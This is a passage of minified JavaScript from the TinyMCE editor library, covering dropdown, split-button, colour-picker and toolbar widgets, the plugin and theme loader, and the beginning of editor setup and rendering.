aria-describedby="'+t.id+'_voiceDesc"><div role="presentation" tabindex="0" id="'+t.id+'" class="'+cp+" "+cp+"Enabled"+(s.class?" "+s.class:"")+'">',h+='<div class="mceText">'+DOM.createHTML("span",{id:t.id+"_voiceDesc",class:"voiceLabel",style:"display:none;"},t.settings.title),h+=DOM.createHTML("a",{id:t.id+"_text",tabindex:-1,href:"javascript:;",class:"mceText",onclick:"return false;",onmousedown:"return false;"},DOM.encode(t.settings.title))+"</div>",h+='<div class="mceOpen">'+DOM.createHTML("a",{id:t.id+"_open",tabindex:-1,href:"javascript:;",class:"mceOpen",onclick:"return false;",onmousedown:"return false;"},'<span><span style="display:none;" class="mceIconOnly" aria-hidden="true">▼</span></span>')+"</div>",h+="</div></div>"},showMenu:function(){var p2,m,t=this,e=DOM.get(this.id);if(!t.isDisabled()&&0!==t.items.length){if(t.menu&&t.menu.isMenuVisible)return t.hideMenu();t.isMenuRendered||(t.renderMenu(),t.isMenuRendered=!0),p2=DOM.getPos(e),m=t.menu,m.settings.offset_x=p2.x,m.settings.offset_y=p2.y,m.settings.keyboard_focus=!tinymce.isOpera,each(t.items,function(o){m.items[o.id]&&m.items[o.id].setSelected(0)}),each(t.items,function(o){m.items[o.id]&&t.marked[o.value]&&m.items[o.id].setSelected(1),o.value===t.selectedValue&&m.items[o.id].setSelected(1)}),m.showMenu(0,e.clientHeight),Event.add(DOM.doc,"mousedown",t.hideMenu,t),DOM.addClass(t.id,t.classPrefix+"Selected")}},hideMenu:function(e){var t=this;if(t.menu&&t.menu.isMenuVisible){if(DOM.removeClass(t.id,t.classPrefix+"Selected"),e&&"mousedown"==e.type&&(e.target.id==t.id+"_text"||e.target.id==t.id+"_open"))return;e&&DOM.getParent(e.target,".mceMenu")||(DOM.removeClass(t.id,t.classPrefix+"Selected"),Event.remove(DOM.doc,"mousedown",t.hideMenu,t),t.menu.hideMenu())}},renderMenu:function(){var m,t=this;m=t.settings.control_manager.createDropMenu(t.id+"_menu",{menu_line:1,class:t.classPrefix+"Menu mceNoIcons",max_width:250,max_height:t.settings.max_height||150,filter:!!t.settings.filter,onselect:function(value){t.settings.onselect(value)!==!1&&t.select(value)}}),m.onHideMenu.add(function(){t.hideMenu(),t.focus()}),m.add({title:t.settings.title,class:"mceMenuItemTitle",onclick:function(){t.settings.onselect("")!==!1&&t.select("")}}),each(t.items,function(o){o.value===undef?m.add({title:o.title,role:"option",onclick:function(){t.settings.onselect("")!==!1&&t.select("")}}):(o.id=DOM.uniqueId(),o.role="option",o.onclick=function(){t.settings.onselect(o.value)!==!1&&t.select(o.value)},m.add(o))}),t.onRenderMenu.dispatch(t,m),t.menu=m;
},postRender:function(){var t=this;t.classPrefix;Event.add(t.id,"click",t.showMenu,t),Event.add(t.id,"keydown",function(evt){32==evt.keyCode&&(t.showMenu(evt),Event.cancel(evt))}),Event.add(t.id,"focus",function(){t._focused||(t.keyDownHandler=Event.add(t.id,"keydown",function(e){40==e.keyCode&&(t.showMenu(),Event.cancel(e))}),t.keyPressHandler=Event.add(t.id,"keypress",function(e){var v;13==e.keyCode&&(v=t.selectedValue,t.selectedValue=null,Event.cancel(e),t.settings.onselect(v))})),t._focused=1}),Event.add(t.id,"blur",function(){Event.remove(t.id,"keydown",t.keyDownHandler),Event.remove(t.id,"keypress",t.keyPressHandler),t._focused=0}),t.onPostRender.dispatch(t,DOM.get(t.id))},destroy:function(){this.parent(),Event.clear(this.id+"_text"),Event.clear(this.id+"_open")}})}(tinymce),function(tinymce){var undef,DOM=tinymce.DOM,Event=tinymce.dom.Event,each=tinymce.each;tinymce.util.Dispatcher;tinymce.create("tinymce.ui.NativeListBox:tinymce.ui.ListBox",{NativeListBox:function(id,s){this.parent(id,s),this.classPrefix="mceNativeListBox"},setDisabled:function(s){DOM.get(this.id).disabled=s,this.setAriaProperty("disabled",s)},isDisabled:function(){return DOM.get(this.id).disabled},select:function(va){var fv,f,t=this;return va==undef?t.selectByIndex(-1):(f=va&&"function"==typeof va?va:function(v){return v==va},void(va!=t.selectedValue&&(each(t.items,function(o,i){if(f(o.value))return fv=1,t.selectByIndex(i),!1}),fv||t.selectByIndex(-1))))},selectByIndex:function(idx){DOM.get(this.id).selectedIndex=idx+1,this.selectedValue=this.items[idx]?this.items[idx].value:null},add:function(n,v,a){var o,t=this;a=a||{},a.value=v,t.isRendered()&&DOM.add(DOM.get(this.id),"option",a,n),o={title:n,value:v,attribs:a},t.items.push(o),t.onAdd.dispatch(t,o)},getLength:function(){return this.items.length},renderHTML:function(){var h,t=this;return h=DOM.createHTML("option",{value:""},"-- "+t.settings.title+" --"),each(t.items,function(it){h+=DOM.createHTML("option",{value:it.value},it.title)}),h=DOM.createHTML("select",{id:t.id,class:"mceNativeListBox","aria-labelledby":t.id+"_aria"},h),h+=DOM.createHTML("span",{id:t.id+"_aria",style:"display: none"},t.settings.title)},postRender:function(){function onChange(e){var v=t.items[e.target.selectedIndex-1];v&&(v=v.value)&&(t.onChange.dispatch(t,v),t.settings.onselect&&t.settings.onselect(v))}var ch,t=this,changeListenerAdded=!0;t.rendered=!0,Event.add(t.id,"change",onChange),Event.add(t.id,"keydown",function(e){var bf,DOM_VK_UP=38,DOM_VK_DOWN=40,DOM_VK_RETURN=13,DOM_VK_SPACE=32;return Event.remove(t.id,"change",ch),changeListenerAdded=!1,bf=Event.add(t.id,"blur",function(){changeListenerAdded||(changeListenerAdded=!0,Event.add(t.id,"change",onChange),Event.remove(t.id,"blur",bf))}),e.keyCode==DOM_VK_RETURN||e.keyCode==DOM_VK_SPACE?(onChange(e),Event.cancel(e)):void(e.keyCode!=DOM_VK_DOWN&&e.keyCode!=DOM_VK_UP||e.stopImmediatePropagation())}),t.onPostRender.dispatch(t,DOM.get(t.id))}})}(tinymce),function(tinymce){var DOM=tinymce.DOM,Event=tinymce.dom.Event;tinymce.each;tinymce.create("tinymce.ui.MenuButton:tinymce.ui.Button",{MenuButton:function(id,s,ed){this.parent(id,s,ed),this.onRenderMenu=new tinymce.util.Dispatcher(this),s.menu_container=s.menu_container||DOM.doc.body},showMenu:function(){var p1,p2,m,t=this,e=DOM.get(t.id);if(!t.isDisabled()){if(t.isMenuRendered||(t.renderMenu(),t.isMenuRendered=!0),t.isMenuVisible)return t.hideMenu();p1=DOM.getPos(t.settings.menu_container),p2=DOM.getPos(e),m=t.menu,m.settings.offset_x=p2.x,m.settings.offset_y=p2.y,m.settings.vp_offset_x=p2.x,m.settings.vp_offset_y=p2.y,m.settings.keyboard_focus=t._focused,m.showMenu(0,e.firstChild.clientHeight),Event.add(DOM.doc,"mousedown",t.hideMenu,t),t.setState("Selected",1),t.isMenuVisible=1}},renderMenu:function(){var m,t=this;m=t.settings.control_manager.createDropMenu(t.id+"_menu",{menu_line:1,class:this.classPrefix+"Menu",icons:t.settings.icons}),m.onHideMenu.add(function(){t.hideMenu(),t.focus()}),t.onRenderMenu.dispatch(t,m),t.menu=m},hideMenu:function(e){var t=this;e&&"mousedown"==e.type&&DOM.getParent(e.target,function(e){return e.id===t.id||e.id===t.id+"_open"})||(e&&DOM.getParent(e.target,".mceMenu")||(t.setState("Selected",0),Event.remove(DOM.doc,"mousedown",t.hideMenu,t),t.menu&&t.menu.hideMenu()),t.isMenuVisible=0)},postRender:function(){var t=this,s=t.settings;Event.add(t.id,"click",function(){t.isDisabled()||(s.onclick&&s.onclick(t.value),t.showMenu())})}})}(tinymce),function(tinymce){var DOM=tinymce.DOM,Event=tinymce.dom.Event;tinymce.each;tinymce.create("tinymce.ui.SplitButton:tinymce.ui.MenuButton",{SplitButton:function(id,s,ed){this.parent(id,s,ed),this.classPrefix="mceSplitButton"},renderHTML:function(){var h1,h="",t=this,s=t.settings;return h1=s.image?DOM.createHTML("img ",{src:s.image,role:"presentation",class:"mceAction "+s.class}):DOM.createHTML("span",{class:"mceAction "+s.class},""),h1+=DOM.createHTML("span",{class:"mceVoiceLabel mceIconOnly",id:t.id+"_voice",style:"display:none;"},s.title),h+='<div class="mceText">'+DOM.createHTML("a",{role:"button",id:t.id+"_action",tabindex:"-1",href:"javascript:;",class:s.class,onclick:"return false;",onmousedown:"return false;",title:s.title},h1)+"</div>",h1=DOM.createHTML("span",{class:"mceOpen "+s.class},'<span style="display:none;" class="mceIconOnly" aria-hidden="true">▼</span>'),h+='<div class="mceOpen">'+DOM.createHTML("a",{role:"button",id:t.id+"_open",tabindex:"-1",href:"javascript:;",class:s.class,onclick:"return false;",onmousedown:"return false;",title:s.title},h1)+"</div>",h=DOM.createHTML("div",{role:"presentation",class:"mceSplitButton mceSplitButtonEnabled "+s.class,title:s.title},h),DOM.createHTML("div",{id:t.id,role:"button",tabindex:"0","aria-labelledby":t.id+"_voice","aria-haspopup":"true"},h)},postRender:function(){var activate,t=this,s=t.settings;s.onclick&&(activate=function(evt){t.isDisabled()||(s.onclick(t.value),Event.cancel(evt))},Event.add(t.id+"_action","click",activate),Event.add(t.id,["click","keydown"],function(evt){var DOM_VK_DOWN=40;32!==evt.keyCode&&13!==evt.keyCode&&14!==evt.keyCode||evt.altKey||evt.ctrlKey||evt.metaKey?"click"!==evt.type&&evt.keyCode!==DOM_VK_DOWN||(t.showMenu(),Event.cancel(evt)):(activate(),Event.cancel(evt))})),Event.add(t.id+"_open","click",function(evt){t.showMenu(),Event.cancel(evt)}),Event.add([t.id,t.id+"_open"],"focus",function(){t._focused=1}),Event.add([t.id,t.id+"_open"],"blur",function(){t._focused=0}),!tinymce.isIE6&&DOM.boxModel||(Event.add(t.id,"mouseover",function(){DOM.hasClass(t.id,"mceSplitButtonDisabled")||DOM.addClass(t.id,"mceSplitButtonHover")}),Event.add(t.id,"mouseout",function(){DOM.hasClass(t.id,"mceSplitButtonDisabled")||DOM.removeClass(t.id,"mceSplitButtonHover")}))},destroy:function(){this.parent(),Event.clear(this.id+"_action"),Event.clear(this.id+"_open"),Event.clear(this.id)}})}(tinymce),function(tinymce){var DOM=tinymce.DOM,Event=tinymce.dom.Event,is=tinymce.is,each=tinymce.each;tinymce.create("tinymce.ui.ColorSplitButton:tinymce.ui.SplitButton",{ColorSplitButton:function(id,s,ed){var t=this;t.parent(id,s,ed),t.settings=s=tinymce.extend({colors:"000000,993300,333300,003300,003366,000080,333399,333333,800000,FF6600,808000,008000,008080,0000FF,666699,808080,FF0000,FF9900,99CC00,339966,33CCCC,3366FF,800080,999999,FF00FF,FFCC00,FFFF00,00FF00,00FFFF,00CCFF,993366,FFFFFF,FF99CC,FFCC99,FFFF99,CCFFCC,CCFFFF,99CCFF,CC99FF",grid_width:8,default_color:"#888888"},t.settings),t.onShowMenu=new tinymce.util.Dispatcher(t),t.onHideMenu=new tinymce.util.Dispatcher(t),t.value=s.default_color},showMenu:function(){var e,p2,t=this;if(!t.isDisabled()){if(t.isMenuRendered||(t.renderMenu(),t.isMenuRendered=!0),t.isMenuVisible)return t.hideMenu();e=DOM.get(t.id),DOM.show(t.id+"_menu"),DOM.addClass(e,"mceSplitButtonSelected"),p2=DOM.getPos(e),DOM.setStyles(t.id+"_menu",{left:p2.x,top:p2.y+e.firstChild.clientHeight,zIndex:2e5}),e=0,Event.add(DOM.doc,"mousedown",t.hideMenu,t),t.onShowMenu.dispatch(t),t._focused&&(t._keyHandler=Event.add(t.id+"_menu","keydown",function(e){27==e.keyCode&&t.hideMenu()}),DOM.select("a",t.id+"_menu")[0].focus()),t.keyboardNav=new tinymce.ui.KeyboardNavigation({root:t.id+"_menu",items:DOM.select("a",t.id+"_menu"),onCancel:function(){t.hideMenu(),t.focus()}}),t.keyboardNav.focus(),t.isMenuVisible=1}},hideMenu:function(e){var t=this;if(t.isMenuVisible){if(e&&"mousedown"==e.type&&DOM.getParent(e.target,function(e){return e.id===t.id+"_open"}))return;e&&DOM.getParent(e.target,".mceSplitButtonMenu")||(DOM.removeClass(t.id,"mceSplitButtonSelected"),Event.remove(DOM.doc,"mousedown",t.hideMenu,t),Event.remove(t.id+"_menu","keydown",t._keyHandler),DOM.hide(t.id+"_menu")),t.isMenuVisible=0,t.onHideMenu.dispatch(),t.keyboardNav.destroy()}},renderMenu:function(){var m,n,tb,tr,w,context,t=this,i=0,s=t.settings;return s.menu_class.indexOf("defaultSkin")===-1&&(s.menu_class="defaultSkin "+s.menu_class),w=DOM.add(s.menu_container,"div",{role:"listbox",id:t.id+"_menu",class:s.menu_class+" "+s.class,style:"position:absolute;left:0;top:-1000px;"}),m=DOM.add(w,"div",{class:s.class+" mceSplitButtonMenu"}),DOM.add(m,"span",{class:"mceMenuLine"}),n=DOM.add(m,"table",{role:"presentation",class:"mceColorSplitMenu"}),tb=DOM.add(n,"tbody"),i=0,each(is(s.colors,"array")?s.colors:s.colors.split(","),function(c){c=c.replace(/^#/,""),i--||(tr=DOM.add(tb,"tr"),i=s.grid_width-1),n=DOM.add(tr,"td");var settings={href:"javascript:;",style:{backgroundColor:"#"+c},title:t.editor.getLang("colors."+c,"#"+c),"data-mce-color":"#"+c};tinymce.isIE||(settings.role="option"),n=DOM.add(n,"a",settings),t.editor.forcedHighContrastMode&&(n=DOM.add(n,"canvas",{width:16,height:16,"aria-hidden":"true"}),n.getContext&&(context=n.getContext("2d"))?(context.fillStyle="#"+c,context.fillRect(0,0,16,16)):DOM.remove(n))}),n=DOM.add(tr,"td",{class:"mceRemoveColor"}),n=DOM.add(n,"a",{href:"javascript:;",title:t.editor.getLang("advanced.no_color","No Colour"),"data-mce-color":"",role:"option"}),s.more_colors_func&&(n=DOM.add(tb,"tr"),n=DOM.add(n,"td",{colspan:s.grid_width,class:"mceMoreColors"}),n=DOM.add(n,"a",{role:"option",id:t.id+"_more",href:"javascript:;",onclick:"return false;",class:"mceMoreColors"},s.more_colors_title),Event.add(n,"click",function(e){return s.more_colors_func.call(s.more_colors_scope||this),Event.cancel(e)})),DOM.addClass(m,"mceColorSplitMenu"),Event.add(t.id+"_menu","mousedown",function(e){return Event.cancel(e)}),Event.add(t.id+"_menu","click",function(e){e=DOM.getParent(e.target,"a",tb);var c=e.getAttribute("data-mce-color");return e&&"a"==e.nodeName.toLowerCase()&&"undefined"!=typeof c&&t.setColor(c),!1}),w},setColor:function(c){this.displayColor(c),this.hideMenu(),this.settings.onselect(c)},displayColor:function(c){var t=this;DOM.setStyle(t.id+"_preview","backgroundColor",c),t.value=c},postRender:function(){var t=this,id=t.id;t.parent(),DOM.add(id+"_action","div",{id:id+"_preview",class:"mceColorPreview"}),DOM.setStyle(t.id+"_preview","backgroundColor",t.value)},destroy:function(){var self=this;self.parent(),Event.clear(self.id+"_menu"),Event.clear(self.id+"_more"),DOM.remove(self.id+"_menu"),self.keyboardNav&&self.keyboardNav.destroy()}})}(tinymce),function(tinymce){var dom=tinymce.DOM,each=tinymce.each,Event=tinymce.dom.Event;tinymce.create("tinymce.ui.ToolbarGroup:tinymce.ui.Container",{renderHTML:function(){var t=this,h=[],controls=t.controls,each=tinymce.each;t.settings;return h.push('<div id="'+t.id+'" role="group">'),each(controls,function(toolbar){h.push(toolbar.renderHTML())}),h.push("</div>"),h.join("")},focus:function(){var t=this;dom.get(t.id).focus()},postRender:function(){var t=this,items=[];each(t.controls,function(toolbar){each(toolbar.controls,function(control){control.id&&items.push(control)})}),t.keyNav=new tinymce.ui.KeyboardNavigation({root:t.id,items:items,onCancel:function(){tinymce.isWebKit&&dom.get(t.editor.id+"_ifr").focus(),t.editor.focus()},excludeFromTabOrder:!t.settings.tab_focus_toolbar})},destroy:function(){var self=this;self.parent(),self.keyNav.destroy(),Event.clear(self.id)}})}(tinymce),function(tinymce){var dom=tinymce.DOM;tinymce.each;tinymce.create("tinymce.ui.Toolbar:tinymce.ui.Container",{renderHTML:function(){var c,co,i,pr,nx,cl,t=this,h="",s=t.settings;for(cl=t.controls,i=0;i<cl.length;i++)co=cl[i],pr=cl[i-1],nx=cl[i+1],c=" mceToolBarItem",co.Button?c+="Button":co.SplitButton?c+="SplitButton":co.ListBox&&(c+="ListBox"),nx&&nx.ListBox&&(co.Button||co.SplitButton)&&(c+=" mceToolBarItemEnd"),pr&&pr.ListBox&&(co.Button||co.SplitButton)&&(c+=" mceToolBarItemStart"),h+='<div class="mceToolBarItem'+c+'">'+co.renderHTML()+"</div>",c="";return dom.createHTML("div",{id:t.id,class:"mceToolbarRow"+(s.class?" "+s.class:""),role:"toolbar",tabindex:"-1"},h)}})}(tinymce),function(tinymce){var Dispatcher=tinymce.util.Dispatcher;tinymce.each;tinymce.create("tinymce.AddOnManager",{AddOnManager:function(){var self=this;self.items=[],self.urls={},self.lookup={},self.onAdd=new Dispatcher(self)},get:function(n){return this.lookup[n]?this.lookup[n].instance:void 0},dependencies:function(n){var result;return this.lookup[n]&&(result=this.lookup[n].dependencies),result||[]},requireLangPack:function(n){var s=tinymce.settings;s&&s.language&&s.language_load!==!1&&tinymce.ScriptLoader.add(this.urls[n]+"/langs/"+s.language+".js")},add:function(id,o,dependencies){return this.items.push(o),this.lookup[id]={instance:o,dependencies:dependencies},this.onAdd.dispatch(this,id,o),o},createUrl:function(baseUrl,dep){return"object"==typeof dep?dep:{prefix:baseUrl.prefix,resource:dep,suffix:baseUrl.suffix}},addComponents:function(pluginName,scripts){var pluginUrl=this.urls[pluginName];tinymce.each(scripts,function(script){tinymce.ScriptLoader.add(pluginUrl+"/"+script)})},load:function(n,u,cb,s){function loadDependencies(){var dependencies=t.dependencies(n);tinymce.each(dependencies,function(dep){var newUrl=t.createUrl(u,dep);t.load(newUrl.resource,newUrl,void 0,void 0)}),cb&&(s?cb.call(s):cb.call(tinymce.ScriptLoader))}var t=this,url=u;t.urls[n]||("object"==typeof u&&(url=u.prefix+u.resource+u.suffix),0!==url.indexOf("/")&&url.indexOf("://")==-1&&(url=tinymce.baseURL+"/"+url),t.urls[n]=url.substring(0,url.lastIndexOf("/")),t.lookup[n]?loadDependencies():tinymce.ScriptLoader.add(url,loadDependencies,s))}}),tinymce.PluginManager=new tinymce.AddOnManager,tinymce.ThemeManager=new tinymce.AddOnManager}(tinymce),function(tinymce){var undef,each=tinymce.each,extend=tinymce.extend,DOM=tinymce.DOM,Event=tinymce.dom.Event,explode=(tinymce.ThemeManager,tinymce.PluginManager,tinymce.explode),Dispatcher=tinymce.util.Dispatcher,instanceCounter=0;tinymce.documentBaseURL=window.location.href.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,""),/[\/\\]$/.test(tinymce.documentBaseURL)||(tinymce.documentBaseURL+="/"),tinymce.baseURL=new tinymce.util.URI(tinymce.documentBaseURL).toAbsolute(tinymce.baseURL),tinymce.baseURI=new tinymce.util.URI(tinymce.baseURL),tinymce.onBeforeUnload=new Dispatcher(tinymce),Event.add(window,"beforeunload",function(e){tinymce.onBeforeUnload.dispatch(tinymce,e)}),tinymce.onAddEditor=new Dispatcher(tinymce),tinymce.onRemoveEditor=new Dispatcher(tinymce),tinymce.EditorManager=extend(tinymce,{editors:[],i18n:{},activeEditor:null,init:function(s){function createId(elm){var id=elm.id;return id||(id=elm.name,id=id&&!DOM.get(id)?elm.name:DOM.uniqueId(),elm.setAttribute("id",id)),id}function execCallback(se,n,s){var f=se[n];if(f)return tinymce.is(f,"string")&&(s=f.replace(/\.\w+$/,""),s=s?tinymce.resolve(s):0,f=tinymce.resolve(f)),f.apply(s||this,Array.prototype.slice.call(arguments,2))}function hasClass(n,c){return c.constructor===RegExp?c.test(n.className):DOM.hasClass(n,c)}var ed,t=this,el=(tinymce.ScriptLoader,[]);t.settings=s,Event.bind(window,"ready",function(){var l,co;switch(execCallback(s,"onpageload"),s.mode){case"exact":l=s.elements||"",l.length>0&&each(explode(l),function(v){DOM.get(v)?(ed=new tinymce.Editor(v,s),el.push(ed),ed.render(1)):each(document.forms,function(f){each(f.elements,function(e){e.name===v&&(v="mce_editor_"+instanceCounter++,DOM.setAttrib(e,"id",v),ed=new tinymce.Editor(v,s),el.push(ed),ed.render(1))})})});break;case"textareas":case"specific_textareas":each(DOM.select("textarea"),function(elm){if((!s.editor_deselector||!hasClass(elm,s.editor_deselector))&&(!s.editor_selector||hasClass(elm,s.editor_selector))){var id=createId(elm);if(t.get(id))return;ed=new tinymce.Editor(id,s),el.push(ed),ed.render(1)}});break;default:s.types?each(s.types,function(type){each(DOM.select(type.selector),function(elm){var editor=new tinymce.Editor(createId(elm),tinymce.extend({},s,type));el.push(editor),editor.render(1)})}):s.selector&&each(DOM.select(s.selector),function(elm){var editor=new tinymce.Editor(createId(elm),s);el.push(editor),editor.render(1)})}s.oninit&&(l=co=0,each(el,function(ed){co++,ed.initialized?l++:ed.onInit.add(function(){l++,l==co&&execCallback(s,"oninit")}),l==co&&execCallback(s,"oninit")}))})},get:function(id){return id===undef?this.editors:this.editors.hasOwnProperty(id)?this.editors[id]:undef},getInstanceById:function(id){return this.get(id)},add:function(editor){var self=this,editors=self.editors;return editors[editor.id]=editor,editors.push(editor),self._setActive(editor),self.onAddEditor.dispatch(self,editor),tinymce.adapter&&tinymce.adapter.patchEditor(editor),editor},remove:function(editor){var i,t=this,editors=t.editors;if(!editor)return null;if(!editors[editor.id])return null;for(delete editors[editor.id],i=0;i<editors.length;i++)if(editors[i]==editor){editors.splice(i,1);break}return t.activeEditor==editor&&t._setActive(editors[0]),editor.destroy(),t.onRemoveEditor.dispatch(t,editor),editor},execCommand:function(c,u,v){function clr(){ed.destroy(),w.detachEvent("onunload",clr),w=w.tinyMCE=w.tinymce=null}var w,t=this,ed=t.get(v);switch(c){case"mceFocus":return ed.focus(),!0;case"mceAddEditor":case"mceAddControl":return t.get(v)||new tinymce.Editor(v,t.settings).render(),!0;case"mceAddFrameControl":return w=v.window,w.tinyMCE=tinyMCE,w.tinymce=tinymce,tinymce.DOM.doc=w.document,tinymce.DOM.win=w,ed=new tinymce.Editor(v.element_id,v),ed.render(),tinymce.isIE&&!tinymce.isIE11&&w.attachEvent("onunload",clr),v.page_window=null,!0;case"mceRemoveEditor":case"mceRemoveControl":return ed&&ed.remove(),!0;case"mceToggleEditor":return ed?(ed.isHidden()?ed.show():ed.hide(),!0):(t.execCommand("mceAddControl",0,v),!0)}return!!t.activeEditor&&t.activeEditor.execCommand(c,u,v)},execInstanceCommand:function(id,c,u,v){var ed=this.get(id);return!!ed&&ed.execCommand(c,u,v)},triggerSave:function(){each(this.editors,function(e){e.save()})},addI18n:function(p,o){var i18n=this.i18n;tinymce.is(p,"string")?each(o,function(o,k){i18n[p+"."+k]=o}):each(p,function(o,lc){each(o,function(o,g){each(o,function(o,k){"common"===g?i18n[lc+"."+k]=o:i18n[lc+"."+g+"."+k]=o})})})},_setActive:function(editor){this.selectedInstance=this.activeEditor=editor}})}(tinymce),function(tinymce){var DOM=tinymce.DOM,Event=tinymce.dom.Event,extend=tinymce.extend,each=tinymce.each,isGecko=tinymce.isGecko,isIE=tinymce.isIE,is=(tinymce.isWebKit,tinymce.is),ThemeManager=tinymce.ThemeManager,PluginManager=tinymce.PluginManager,explode=tinymce.explode;tinymce.create("tinymce.Editor",{Editor:function(id,settings){var self=this,TRUE=!0;self.settings=settings=extend({id:id,language:"en",theme:"advanced",skin:"default",delta_width:0,delta_height:0,popup_css:"",plugins:"",document_base_url:tinymce.documentBaseURL,add_form_submit_trigger:TRUE,submit_patch:TRUE,add_unload_trigger:TRUE,convert_urls:TRUE,relative_urls:TRUE,remove_script_host:TRUE,table_inline_editing:!1,object_resizing:TRUE,accessibility_focus:TRUE,doctype:"<!DOCTYPE html>",visual:TRUE,font_size_style_values:"xx-small,x-small,small,medium,large,x-large,xx-large",font_size_legacy_values:"xx-small,small,medium,large,x-large,xx-large,300%",apply_source_formatting:TRUE,directionality:"ltr",forced_root_block:"p",hidden_input:TRUE,padd_empty_editor:TRUE,render_ui:TRUE,indentation:"30px",fix_table_elements:TRUE,inline_styles:TRUE,convert_fonts_to_spans:TRUE,indent:"simple",indent_before:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,ul,li,area,table,thead,tfoot,tbody,tr,section,article,hgroup,aside,figure,option,optgroup,datalist",indent_after:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,ul,li,area,table,thead,tfoot,tbody,tr,section,article,hgroup,aside,figure,option,optgroup,datalist",validate:TRUE,entity_encoding:"named",url_converter:self.convertURL,url_converter_scope:self,ie7_compat:TRUE},settings),self.id=self.editorId=id,self.isNotDirty=!1,self.plugins={},self.documentBaseURI=new tinymce.util.URI(settings.document_base_url||tinymce.documentBaseURL,{base_uri:tinyMCE.baseURI}),self.baseURI=tinymce.baseURI,self.contentCSS=[],self.contentStyles=[],self.setupEvents(),self.execCommands={},self.queryStateCommands={},self.queryValueCommands={},self.execCallback("setup",self)},render:function(nst){function loadScripts(){s.language&&s.language_load!==!1&&sl.add(tinymce.baseURL+"/langs/"+s.language+".js"),s.theme&&"function"!=typeof s.theme&&"-"!=s.theme.charAt(0)&&!ThemeManager.urls[s.theme]&&ThemeManager.load(s.theme,"themes/"+s.theme+"/editor_template"+tinymce.suffix+".js"),each(explode(s.plugins),function(p){if(p&&!PluginManager.urls[p])if("-"==p.charAt(0)){p=p.substr(1,p.length);var dependencies=PluginManager.dependencies(p);each(dependencies,function(dep){var defaultSettings={prefix:"plugins/",resource:dep,suffix:"/editor_plugin"+tinymce.suffix+".js"};dep=PluginManager.createUrl(defaultSettings,dep),PluginManager.load(dep.resource,dep)})}else PluginManager.load(p,{prefix:"plugins/",resource:p,suffix:"/editor_plugin"+tinymce.suffix+".js"})}),each(s.external_plugins,function(url,name){PluginManager.load(name,url),s.plugins+=","+name}),sl.loadQueue(function(){t.removed||t.init()})}var t=this,s=t.settings,id=t.id,sl=tinymce.ScriptLoader;return Event.domLoaded?(tinyMCE.settings=s,void(t.getElement()&&(tinymce.isIDevice&&!tinymce.isIOS5||(!/TEXTAREA|INPUT/i.test(t.getElement().nodeName)&&s.hidden_input&&DOM.getParent(id,"form")&&DOM.insertAfter(DOM.create("input",{type:"hidden",name:id}),id),s.content_editable||(t.orgVisibility=t.getElement().style.visibility,t.getElement().style.visibility="hidden"),tinymce.WindowManager&&(t.windowManager=new tinymce.WindowManager(t)),"xml"==s.encoding&&t.onGetContent.add(function(ed,o){o.save&&(o.content=DOM.encode(o.content))}),s.add_form_submit_trigger&&t.onSubmit.addToTop(function(){t.initialized&&(t.save(),t.isNotDirty=1)}),s.add_unload_trigger&&(t._beforeUnload=tinyMCE.onBeforeUnload.add(function(){!t.initialized||t.destroyed||t.isHidden()||t.save({format:"raw",no_events:!0})})),tinymce.addUnload(t.destroy,t),s.submit_patch&&t.onBeforeRenderUI.add(function(){var n=t.getElement().form;n&&(n._mceOldSubmit||(n.submit.nodeType||n.submit.length||(t.formElement=n,n._mceOldSubmit=n.submit,n.submit=function(){return tinymce.triggerSave(),t.isNotDirty=1,t.formElement._mceOldSubmit(t.formElement)}),n=null))}),loadScripts())))):void Event.add(window,"ready",function(){t.render()})},init:function(){function initPlugin(p){var po,c=PluginManager.get(p),u=PluginManager.urls[p]||tinymce.documentBaseURL.replace(/\/$/,"");c&&tinymce.inArray(initializedPlugins,p)===-1&&(each(PluginManager.dependencies(p),function(dep){initPlugin(dep)}),po=new c(t,u),t.plugins[p]=po,po.init&&(po.init(t,u),initializedPlugins.push(p)))}var n,w,h,mh,o,u,bi,bc,re,i,t=this,s=t.settings,e=t.getElement(),initializedPlugins=[];if(tinymce.add(t),s.aria_label=s.aria_label||DOM.getAttrib(e,"aria-label",t.getLang("aria.rich_text_area")),s.theme&&("function"!=typeof s.theme?(s.theme=s.theme.replace(/-/,""),o=ThemeManager.get(s.theme),t.theme=new o,t.theme.init&&t.theme.init(t,ThemeManager.urls[s.theme]||tinymce.documentBaseURL.replace(/\/$/,""))):t.theme=s.theme),each(explode(s.plugins.replace(/\-/g,"")),initPlugin),s.popup_css!==!1&&(s.popup_css?s.popup_css=t.documentBaseURI.toAbsolute(s.popup_css):s.popup_css=t.baseURI.toAbsolute("themes/"+s.theme+"/skins/"+s.skin+"/dialog.css")),s.popup_css_add&&(s.popup_css+=","+t.documentBaseURI.toAbsolute(s.popup_css_add)),t.controlManager=new tinymce.ControlManager(t),t.onBeforeRenderUI.dispatch(t,t.controlManager),s.render_ui&&t.theme&&(t.orgDisplay=e.style.display,"function"!=typeof s.theme?(w=s.width,h=s.height||e.style.height||e.offsetHeight,mh=s.min_height||100,re=/^[0-9\.]+(|px)$/i,re.test(""+w)&&(w=Math.max(parseInt(w,10)+(o.deltaWidth||0),100)),re.test(""+h)&&(h=Math.max(parseInt(h,10)+(o.deltaHeight||0),mh)),o=t.theme.renderUI({targetNode:e,width:w,height:h,deltaWidth:s.delta_width,deltaHeight:s.delta_height}),w&&DOM.setStyles(o.sizeContainer||o.editorContainer,{width:w}),h=(o.iframeHeight||h)+("number"==typeof h?o.deltaHeight||0:""),h<mh&&(h=mh)):(o=s.theme(t,e),o.editorContainer.nodeType&&(o.editorContainer=o.editorContainer.id=o.editorContainer.id||t.id+"_parent"),o.iframeContainer.nodeType&&(o.iframeContainer=o.iframeContainer.id=o.iframeContainer.id||t.id+"_iframecontainer"),h=o.iframeHeight||e.offsetHeight,isIE&&(t.onInit.add(function(ed){ed.dom.bind(ed.getBody(),"beforedeactivate keydown keyup",function(){ed.bookmark=ed.selection.getBookmark(1)})}),t.onNodeChange.add(function(ed){document.activeElement.id==ed.id+"_ifr"&&(ed.bookmark=ed.selection.getBookmark(1))}))),t.editorContainer=o.editorContainer),s.content_css&&each(explode(s.content_css),function(u){t.contentCSS.push(t.documentBaseURI.toAbsolute(u))}),s.content_style&&t.contentStyles.push(s.content_style),s.content_editable)return 